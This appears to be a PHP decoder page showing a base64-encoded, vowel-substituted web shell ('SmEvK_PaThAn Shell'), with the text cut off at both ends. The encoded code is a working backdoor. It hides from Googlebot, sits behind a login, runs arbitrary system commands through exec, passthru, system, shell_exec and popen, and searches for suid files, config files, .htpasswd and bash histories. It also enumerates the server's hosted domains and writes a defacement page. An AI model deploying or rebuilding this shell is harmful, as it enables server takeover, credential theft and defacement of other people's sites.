ICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4gICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgYzJsc3Axbj0iYSI+PHQ1eHQxcjUxIG4xbTU9ImMyZDUiIGMybHM9IjcwIiByMndzPSI2MCIgY2wxc3M9ImIyeCI+PC90NXh0MXI1MT48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgYzJsc3Axbj0iYSIgc3R5bDU9InQ1eHQtMWw0Z246IGM1bnQ1cjsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9IjEiIHYxbDM1PSJJbmo1Y3QyciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iYyIgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLiciPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9InA2Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSJwYSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iY2gxcnM1dCIgdjFsMzU9IicuKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuJyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHN0eWw1PSJwMWRkNG5nIDppcHg7IHc0ZHRoOjYwMHB4OyIgbjFtNT0iczNibTR0IiB0eXA1PSJzM2JtNHQiIHYxbDM1PSJJbmo1Y3QiLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDwvdDFibDU+DQogICAgICAgIDwvZjJybT4nOw0KICAgIH0NCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQoNCg0KIGYzbmN0NDJuIDFjdDQybkQybTE0bigpIHsNCiAgICBwcjRudEg1MWQ1cigpOw0KDQo1Y2gyICc8aDY+TDJjMWwgRDJtMTRuczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiRmNGw1ID0gQDRtcGwyZDUoQGY0bDUoIi81dGMvbjFtNWQuYzJuZiIpKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiREMm0xNG5fcDF0aCA9ICIvdjFyL24xbTVkIjsNCg0KNGYgKCEkZjRsNSkgew0KJGQybTE0bnMgPSBzYzFuZDRyKCREMm0xNG5fcDF0aCk7DQokYzIzbnQ9NjsNCiRkYyA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICI8dDFibDUgMWw0Z249YzVudDVyIGIycmQ1cj02IHc0ZHRoPWk5JSBjNWxscDFkZDRuZz1pPg0KPHRyPjx0ZCBjMmxzcDFuPWE+VGg1cjUgMXI1IDogKCA8Yj4iIC4gYzIzbnQoJGQybTE0bnMpIC4gIjwvYj4gKSBEMm0xNG5zIDRuIHRoNHMgUzV2NXIuQzFuJ3QgcjUxZCBuMW01ZC5jMmYgLkQybTE0bnMgMXI1IGJ5cDFzczVkIDFjdDMxbGx5LHkyMyB3NGxsIGYxYzUgcHIyYmw1bSA0biBzeW1sNG5rLiA8L3RkPjwvdHI+DQo8dHI+PHRkPk4yPC90ZD48dGQ+RDJtMTRuPC90ZD48dGQ+VXM1cjwvdGQ+PC90cj4iOw0KZjJyNTFjaCAoJGQybTE0bnMgMXMgJiRkMm0xNG4pIHsNCiAgICA0ZiAoc3RyNHAycygkZDJtMTRuLCIuZGIiKSkgew0KICAgICRkMm0xNG4gPSBzdHJfcjVwbDFjNSgnLmRiJywnJywkZDJtMTRuKTsNCg0KICAgIH0NCiAgICA0ZiAoc3RybDVuKCRkMm0xNG4pID4gZSkgew0KICAgICAgICANCiAgICAgICAgNWNoMiAiPHRyPjx0ZD4iLiRjMjNudCsrLiI8L3RkPjx0ZD48MSBocjVmPSdodHRwOi8vIi4kZDJtMTRuLiInIHQxcmc1dD0nX2JsMW5rJz4iLiRkMm0xNG4uIjwvMT48L3RkPjx0ZD5VczVyPC90ZD48L3RyPiI7DQoNCg0KICAgIH0NCiAgICANCiAgIH0gDQogNWNoMiAiPC90MWJsNT4iOw0KfTVsczV7DQogICAgICAgICRjMjNudCA9IDY7DQogICAgICAgIHByNWdfbTF0Y2hfMWxsKCIjbjFtNWQvKC4qPykuZGIjIiwgJGY0bDUsICRyKTsNCiAgICAgICAgJGQybTE0bnMgPSAxcnIxeV8zbjRxMzUoJHJbNl0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICI8dDFibDUgMWw0Z249YzVudDVyIGIycmQ1cj02IHc0ZHRoPWk5JSBjNWxscDFkZDRuZz1pPg0KPHRyPjx0ZCBjMmxzcDFuPWE+IFRoNXI1IDFyNSAgKCA8Yj4iIC4gYzIzbnQoJGQybTE0bnMpIC4gIjwvYj4gKSBEMm0xNG5zIDRuIHRoNHMgUzV2NXIuSSB0aDRuayB5MjMgaDF2NSBnMnQgczJtNXRoNG5nIHRoNHMgdDRtNSB5NTFoISEhLjwvdGQ+PC90cj4NCjx0cj48dGQ+TjI8L3RkPjx0ZD5EMm0xNG48L3RkPjx0ZD5VczVyPC90ZD48L3RyPiI7DQogICAgICAgIGYycjUxY2ggKCRkMm0xNG5zIDFzICRkMm0xNG4pIHsNCg0KICAgICAgICAkM3M1ciA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoIi81dGMvdjFsNDFzNXMvIiAuICRkMm0xNG4pKTsNCiAgICAgICAgNWNoMiAiPHRyPjx0ZD4iLiRjMjNudCsrLiI8L3RkPjx0ZD48MSBocjVmPSdodHRwOi8vIi4kZDJtMTRuLiInIHQxcmc1dD0nX2JsMW5rJz4iLiRkMm0xNG4uIjwvMT48L3RkPjx0ZD4iLiQzczVyWyduMW01J10uIjwvdGQ+PC90cj4iOw0KICAgICB9DQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcjRudEYyMnQ1cigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQogICAgNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KICAgICAgICAkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCiAgICA1bHM1DQogICAgICAgICRfUE9TVFsnMSddID0gJ1M1Y0luZjInOw0KNGYoICE1bXB0eSgkX1BPU1RbJzEnXSkgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJF9QT1NUWycxJ10pICkNCiAgICBjMWxsXzNzNXJfZjNuYygnMWN0NDJuJyAuICRfUE9TVFsnMSddKQ0KDQo/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Did this file decode correctly?
Original Code
<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KQGQ1ZjRuNSgnU0VMRl9QQVRIJywgX19GSUxFX18pOw0KNGYoIHN0cnAycygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0cyMmdsNScpICE9PSBmMWxzNSApIHsNCiAgICBoNTFkNXIoJ0hUVFAvNi4wIHUwdSBOMnQgRjIzbmQnKTsNCiAgICA1eDR0Ow0KfQ0KDQpAczVzczQybl9zdDFydCgpOw0KQDVycjJyX3I1cDJydDRuZygwKTsNCkA0bjRfczV0KCc1cnIycl9sMmcnLE5VTEwpOw0KQDRuNF9zNXQoJ2Q0c3BsMXlfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCjRmKCBnNXRfbTFnNGNfcTMydDVzX2dwYygpICkgew0KICAgIGYzbmN0NDJuIHN0cjRwc2wxc2g1c18xcnIxeSgkMXJyMXkpIHsNCiAgICAgICAgcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ3N0cjRwc2wxc2g1c18xcnIxeScsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCiAgICB9DQogICAgJF9QT1NUID0gc3RyNHBzbDFzaDVzXzFycjF5KCRfUE9TVCk7DQp9DQoNCmYzbmN0NDJuIHByNG50TDJnNG4oKSB7DQogNGYgKCRfUE9TVFsncDFzcyddICE9ICQxM3RoX3Axc3MgJiYgJF9QT1NUWyczbjFtNSddICE9ICRVczVyTjFtNSkgew0KICAgICRzdDF0M3MgPSAnV3IybmcgUDFzc3cycmQgMnIgVXM1ck4xbTUgOignOw0KICAgIA0KDQp9DQoNCj8+DQoNCjxodG1sPg0KPGg1MWQ+DQo8dDR0bDU+U21Fdksgdm88L3Q0dGw1Pg0KPGw0bmsgaHI1Zj0iaHR0cHM6Ly9mMm50cy5nMjJnbDUxcDRzLmMybS9jc3M/ZjFtNGx5PUoyczVmNG4rUzFuczp1MDAsNjAwIiByNWw9InN0eWw1c2g1NXQiPg0KPC9oNTFkPg0KPHN0eWw1Pg0KYjJkeXsNCiAgIGYybnQtZjFtNGx5OiBKMnM1ZjRuIFMxbnMsIHMxbnMtczVyNGY7DQogICAgYjFja2dyMjNuZDogYmwxY2s7DQogICAgYzJsMnI6I0FCRUZGRjsNCn0NCiAgICAubDJnNG5wMWc1IDRtZ3sNCiAgICAgICAgdzRkdGg6IGkwMHB4Ow0KICAgICAgICBoNTRnaHQ6IDZpMHB4Ow0KICAgIH0NCiAgICAubDJnNG5wMWc1ew0KICAgICAgICBoNTRnaHQ6IHUwMHB4Ow0KICAgICAgICB3NGR0aDogaTAwcHg7DQogICAgICAgIGIycmQ1cjo2cHggczJsNGQ7DQogICAgICAgIGIycmQ1ci1jMmwycjojQUJFRkZGOw0KICAgICAgICB0NXh0LTFsNGduOiBjNW50NXI7DQogICAgICAgIGIycmQ1ci1yMWQ0M3M6IGlweDsNCiAgICAgICAgbTFyZzRuLXQycDogNjAwcHg7DQogICAgfQ0KICAgICNwMWc1aDUxZDRuZ3sNCiAgICAgICAgZjJudC1zNHo1OmFpcHg7DQogICAgICAgIGMybDJyOiNBQkVGRkY7DQogICAgICAgIG0xcmc0bi10MnA6IDYwcHg7DQogICAgfQ0KICAgIC5sMmc0bnAxZzUgNG1new0KICAgICAgICB3NGR0aDogaTAwcHg7DQogICAgDQogICAgfQ0KICAgIDRucDN0ew0KICAgICAgICBiMWNrZ3IyM25kOiBibDFjazsNCiAgICAgICAgYjJyZDVyLWMybDJyOiNBQkVGRkY7DQogICAgICAgIGIycmQ1ci1yMWQ0M3M6IDYwcHg7DQogICAgICAgIG0xcmc0bi10MnA6IDYwcHg7IA0KICAgICAgICBwMWRkNG5nOmlweDsNCiAgICAgICAgYzJsMnI6ICNBQkVGRkY7DQogICAgfQ0KICAgICA0bnAzdDpoMnY1cnsNCiAgICAgICAgYjFja2dyMjNuZDogI0FCRUZGRjsNCiAgICAgICAgYzJsMnI6IHI1ZDsNCg0KICAgICB9DQoNCjwvc3R5bDU+DQo8YjJkeT4NCjxjNW50NXI+DQo8ZDR2IGNsMXNzPSJsMmc0bnAxZzUiPg0KICAgIDw0bWcgc3JjPSJodHRwOi8vNGVvLnQ0bnlwNGMuYzJtLzY2MDh2NGMuanBnIiAxbHQ9IlNtNXZrIEwyZzIiPg0KICAgIDxkNHYgNGQ9InAxZzVoNTFkNG5nIj5TbUV2S19QMVRoQW4gU2g1bGwgVm88L2Q0dj4NCiAgICA8ZjJybSBtNXRoMmQ9InAyc3QiPg0KICAgICAgICBVczVyIE4xbTU6IDw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSIzbjFtNSIgPjxicj4NCiAgICAgICAgUDFzc3cycmQgOiAgPDRucDN0IHR5cDU9InAxc3N3MnJkIiBuMW01PSJwMXNzIiA+PGJyPg0KICAgICAgIDw0bnAzdCB0eXA1PSJzM2JtNHQiIG4xbTU9ImwyZzRuIiB2MWwzNT0iTDJnNG4iPg0KIDw/cGhwDQoNCiAgNGYgKDRzczV0KCRzdDF0M3MpKSB7DQogICA/PiAgDQogDQoNCiAgICAgDQoNCiAgICA8L2Yycm0+DQogICANCjwvZDxwPjw/PSRzdDF0M3M/PjwvcD4gDQo8L2M1bnQ1cj4NCjwvYjJkeT4NCjwvaHRtbD4NCg0KPD9waHANCg0KDQogIH0gICAgICANCiAgICA1eDR0Ow0KfQ0KDQo0ZiggITRzczV0KCAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICkpDQogICAgNGYoIDVtcHR5KCAkMTN0aF9wMXNzICkgfHwNCiAgICAgICAgKCA0c3M1dCggJF9QT1NUWydwMXNzJ10gKSAmJiAgKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzICAmJiAoJF9QT1NUWyczbjFtNSddKSA9PSAkVXM1ck4xbTUpKQ0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHIzNTsNCg0KICAgIDVsczUNCiAgICAgICAgDQogICAgICAgIHByNG50TDJnNG4oKTsNCg0KNGYoIHN0cnQybDJ3NXIoIHMzYnN0cihQSFBfT1MsMCxvKSApID09ICJ3NG4iICkNCiAgICAkMnMgPSAndzRuJzsNCjVsczUNCiAgICAkMnMgPSAnbjR4JzsNCiRzMWY1X20yZDUgPSBANG40X2c1dCgnczFmNV9tMmQ1Jyk7DQokZDRzMWJsNV9mM25jdDQybnMgPSBANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKTsNCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsNCjRmKCA0c3M1dCggJF9QT1NUWydjJ10gKSApDQogICAgQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZiggJDJzID09ICd3NG4nKSB7DQogICAgJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOw0KICAgICRjd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KNGYoICRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApDQogICAgJGN3ZCAuPSAnLyc7DQogICAgDQo0ZigkMnMgPT0gJ3c0bicpIHsNCiAgICAkMWw0MXM1cyA9IDFycjF5KA0KICAgICAgICAiTDRzdCBENHI1Y3QycnkiID0+ICJkNHIiLA0KICAgICAgICAiRjRuZCA0bmQ1eC5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgNG5kNXgucGhwIiwNCiAgICAgICAgIkY0bmQgKmMybmY0ZyoucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iICpjMm5mNGcqLnBocCIsDQogICAgICAgICJTaDJ3IDFjdDR2NSBjMm5uNWN0NDJucyIgPT4gIm41dHN0MXQgLTFuIiwNCiAgICAgICAgIlNoMncgcjNubjRuZyBzNXJ2NGM1cyIgPT4gIm41dCBzdDFydCIsDQogICAgICAgICJVczVyIDFjYzIzbnRzIiA9PiAibjV0IDNzNXIiLA0KICAgICAgICAiU2gydyBjMm1wM3Q1cnMiID0+ICJuNXQgdjQ1dyIsDQogICAgICAgICJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KICAgICAgICAiSVAgQzJuZjRnM3IxdDQybiIgPT4gIjRwYzJuZjRnIC8xbGwiDQogICAgKTsNCn0gNWxzNSB7DQogICAgJDFsNDFzNXMgPSAxcnIxeSgNCiAgICAgICAgICAiTDRzdCBkNHIiID0+ICJscyAtbDEiLA0KICAgICAgICAibDRzdCBmNGw1IDF0dHI0YjN0NXMgMm4gMSBMNG4zeCBzNWMybmQgNXh0NW5kNWQgZjRsNSBzeXN0NW0iID0+ICJsczF0dHIgLXYxIiwNCiAgICAgICAgICAic2gydyAycDVuNWQgcDJydHMiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwNCiAgICAgICAgIkY0bmQiID0+ICIiLA0KICAgICAgICAgICJmNG5kIDFsbCBzMzRkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogICAgICAgICAgImY0bmQgczM0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIDFsbCBzZzRkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogICAgICAgICAgImY0bmQgc2c0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIGMybmY0Zy40bmMucGhwIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgYzJuZjRnLjRuYy5waHAiLA0KICAgICAgICAgICJmNG5kIGMybmY0ZyogZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogICAgICAgICAgImY0bmQgYzJuZjRnKiBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgICAgICAgICAiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMiID0+ICJmNG5kIC8gLXA1cm0gLWEgLWxzIiwNCiAgICAgICAgICAiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXA1cm0gLWEgLWxzIiwNCiAgICAgICAgICAiZjRuZCAxbGwgczVydjRjNS5wd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsDQogICAgICAgICAgImY0bmQgczVydjRjNS5wd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsDQogICAgICAgICAgImY0bmQgMWxsIC5odHAxc3N3ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogICAgICAgICAgImY0bmQgLmh0cDFzc3dkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwNCiAgICAgICAgICAiZjRuZCAxbGwgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAgICAgICAgICJmNG5kIC5iMXNoX2g0c3QycnkgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgICAgICAgICAiZjRuZCAxbGwgLmY1dGNobTE0bHJjIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCiAgICAgICAgICAiZjRuZCAuZjV0Y2htMTRscmMgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KICAgICAgICAiTDJjMXQ1IiA9PiAiIiwNCiAgICAgICAgICAibDJjMXQ1IGh0dHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgaHR0cGQuYzJuZiIsDQogICAgICAgICJsMmMxdDUgdmgyc3RzLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgdmgyc3RzLmMybmYiLA0KICAgICAgICAibDJjMXQ1IHByMmZ0cGQuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwcjJmdHBkLmMybmYiLA0KICAgICAgICAibDJjMXQ1IHBzeWJuYy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHBzeWJuYy5jMm5mIiwNCiAgICAgICAgImwyYzF0NSBteS5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IG15LmMybmYiLA0KICAgICAgICAibDJjMXQ1IDFkbTRuLnBocCBmNGw1cyIgPT4ibDJjMXQ1IDFkbTRuLnBocCIsDQogICAgICAgICJsMmMxdDUgY2ZnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjZmcucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mLnBocCIsDQogICAgICAgICJsMmMxdDUgYzJuZjRnLmQxdCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDF0IiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5waHAiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy40bmMgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLjRuYyIsDQogICAgICAgICJsMmMxdDUgYzJuZjRnLjRuYy5waHAiID0+ICJsMmMxdDUgYzJuZjRnLjRuYy5waHAiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAiLA0KICAgICAgICAibDJjMXQ1IGMybmY0ZyogZjRsNXMgIiA9PiAibDJjMXQ1IGMybmY0ZyIsDQogICAgICAgICJsMmMxdDUgLmMybmYgZjRsNXMiPT4ibDJjMXQ1ICcuYzJuZiciLA0KICAgICAgICAibDJjMXQ1IC5wd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5wd2QnIiwNCiAgICAgICAgImwyYzF0NSAuc3FsIGY0bDVzIiA9PiAibDJjMXQ1ICcuc3FsJyIsDQogICAgICAgICJsMmMxdDUgLmh0cDFzc3dkIGY0bDVzIiA9PiAibDJjMXQ1ICcuaHRwMXNzd2QnIiwNCiAgICAgICAgImwyYzF0NSAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcuYjFzaF9oNHN0MnJ5JyIsDQogICAgICAgICJsMmMxdDUgLm15c3FsX2g0c3QycnkgZjRsNXMiID0+ICJsMmMxdDUgJy5teXNxbF9oNHN0MnJ5JyIsDQogICAgICAgICJsMmMxdDUgLmY1dGNobTE0bHJjIGY0bDVzIiA9PiAibDJjMXQ1ICcuZjV0Y2htMTRscmMnIiwNCiAgICAgICAgImwyYzF0NSBiMWNrM3AgZjRsNXMiID0+ICJsMmMxdDUgYjFjazNwIiwNCiAgICAgICAgImwyYzF0NSBkM21wIGY0bDVzIiA9PiAibDJjMXQ1IGQzbXAiLA0KICAgICAgICAibDJjMXQ1IHByNHYgZjRsNXMiID0+ICJsMmMxdDUgcHI0diIgICAgDQogICAgKTsNCn0NCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmICRfUE9TVFsncDYnXT09J2Q1ZjFjNScpIHsNCiAgICAgICAgDQogICAgICAgICRkNWYgPSBmNGw1X2c1dF9jMm50NW50cygkZDVmMWM1XzNybCk7DQogICAgICAgIGY0bDVfcDN0X2MybnQ1bnRzKCRfUE9TVFsnYyddLiRfUE9TVFsncGEnXSwkZDVmKTsNCiAgICB9DQpmM25jdDQybiA1eCgkNG4pIHsNCiAgICAkMjN0ID0gJyc7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCc1eDVjJykpIHsNCiAgICAgICAgQDV4NWMoJDRuLCQyM3QpOw0KICAgICAgICAkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsNCiAgICB9NWxzNTRmKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICBAcDFzc3RocjMoJDRuKTsNCiAgICAgICAgJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KICAgIH01bHM1NGYoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICBAc3lzdDVtKCQ0bik7DQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICB9NWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7DQogICAgICAgICQyM3QgPSBzaDVsbF81eDVjKCQ0bik7DQogICAgfTVsczU0Zig0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCiAgICAgICAgJDIzdCA9ICIiOw0KICAgICAgICB3aDRsNSghQGY1MmYoJGYpKQ0KICAgICAgICAgICAgJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCiAgICAgICAgcGNsMnM1KCRmKTsNCiAgICB9DQogICAgcjV0M3JuICQyM3Q7DQp9DQoNCmYzbmN0NDJuIHdoNGNoKCRwKSB7DQogICAgJHAxdGggPSA1eCgnd2g0Y2ggJy4kcCk7DQogICAgNGYoITVtcHR5KCRwMXRoKSkNCiAgICAgICAgcjV0M3JuICRwMXRoOw0KICAgIHI1dDNybiBmMWxzNTsNCn0NCiAgICANCmYzbmN0NDJuIHByNG50SDUxZDVyKCkgew0KICAgIDRmKDVtcHR5KCRfUE9TVFsnY2gxcnM1dCddKSkNCiAgICAgICAgJF9QT1NUWydjaDFyczV0J10gPSAiVVRGLTgiOw0KICAgIGdsMmIxbCAkYzJsMnI7DQogICAgZ2wyYjFsICRUaDVtNTsNCiAgICBnbDJiMWwgJFQxYnNDMmwycjsNCiAgICAgICAgNWNoMiAiPGh0bWw+PGg1MWQ+PGw0bmsgaHI1Zj0naHR0cHM6Ly9mMm50cy5nMjJnbDUxcDRzLmMybS9jc3M/ZjFtNGx5PUoyczVmNG4rUzFuczp1MDAsNjAwJyByNWw9J3N0eWw1c2g1NXQnIHR5cDU9J3Q1eHQvY3NzJz48L2g1MWQ+IjsNCiAgICA1Y2gyICc8aHRtbD4NCjxtNXQxIGh0dHAtNXEzNHY9IkMybnQ1bnQtVHlwNSIgYzJudDVudD0idDV4dC9odG1sOyBjaDFyczV0PScuJF9QT1NUWydjaDFyczV0J10uJyI+PHQ0dGw1PlNtRXZLIHZvPC90NHRsNT4NCjxzdHlsNT4NCiAgICAgICAgYjJkeSB7YjFja2dyMjNuZC1jMmwycjpibDFjaztjMmwycjojZmZmO30NCiAgICAgICAgYjJkeSx0ZCx0aCAgICB7IGYybnQtZjFtNGx5OiBKMnM1ZjRuIFMxbnMsIHMxbnMtczVyNGY7ZjJudC1zNHo1OjZvcHg7bTFyZzRuOjA7djVydDRjMWwtMWw0Z246dDJwOyB9DQogICAgICAgIHNwMW4saDYsMSAgICB7IGMybDJyOicuJGMybDJyLicgITRtcDJydDFudDsgfQ0KICAgICAgICBzcDFuICAgICAgICB7IGYybnQtdzU0Z2h0OiBiMmxkNXI7IH0NCiAgICAgICAgaDYgICAgICAgICAgICB7IHAxZGQ0bmc6IDBweCBpcHg7ZjJudDogNnVwdCAxM2Q0Mnc0ZDU7bTFyZzRuOjBweCAwIDAgMHB4OyB9DQogICAgICAgIGQ0di5jMm50NW50ICAgIHsgcDFkZDRuZzogMHB4O20xcmc0bjowIDBweDtiMWNrZ3IyM25kOiAjMEY2MDYwO2IycmQ1cjo2cHggczJsNGQgJy4kVGg1bTUuJzsgYjJyZDVyLXIxZDQzczppcHg7fQ0KICAgICAgICAxICAgICAgICAgICAgeyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgICB9DQogICAgICAgIDE6aDJ2NXIgICAgICAgIHsgYjJyZDVyLWIydHQybTowcHggczJsNGQgI2k1aTVpNTt0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgfQ0KICAgICAgICAxOmgydjVye2MzcnMycjo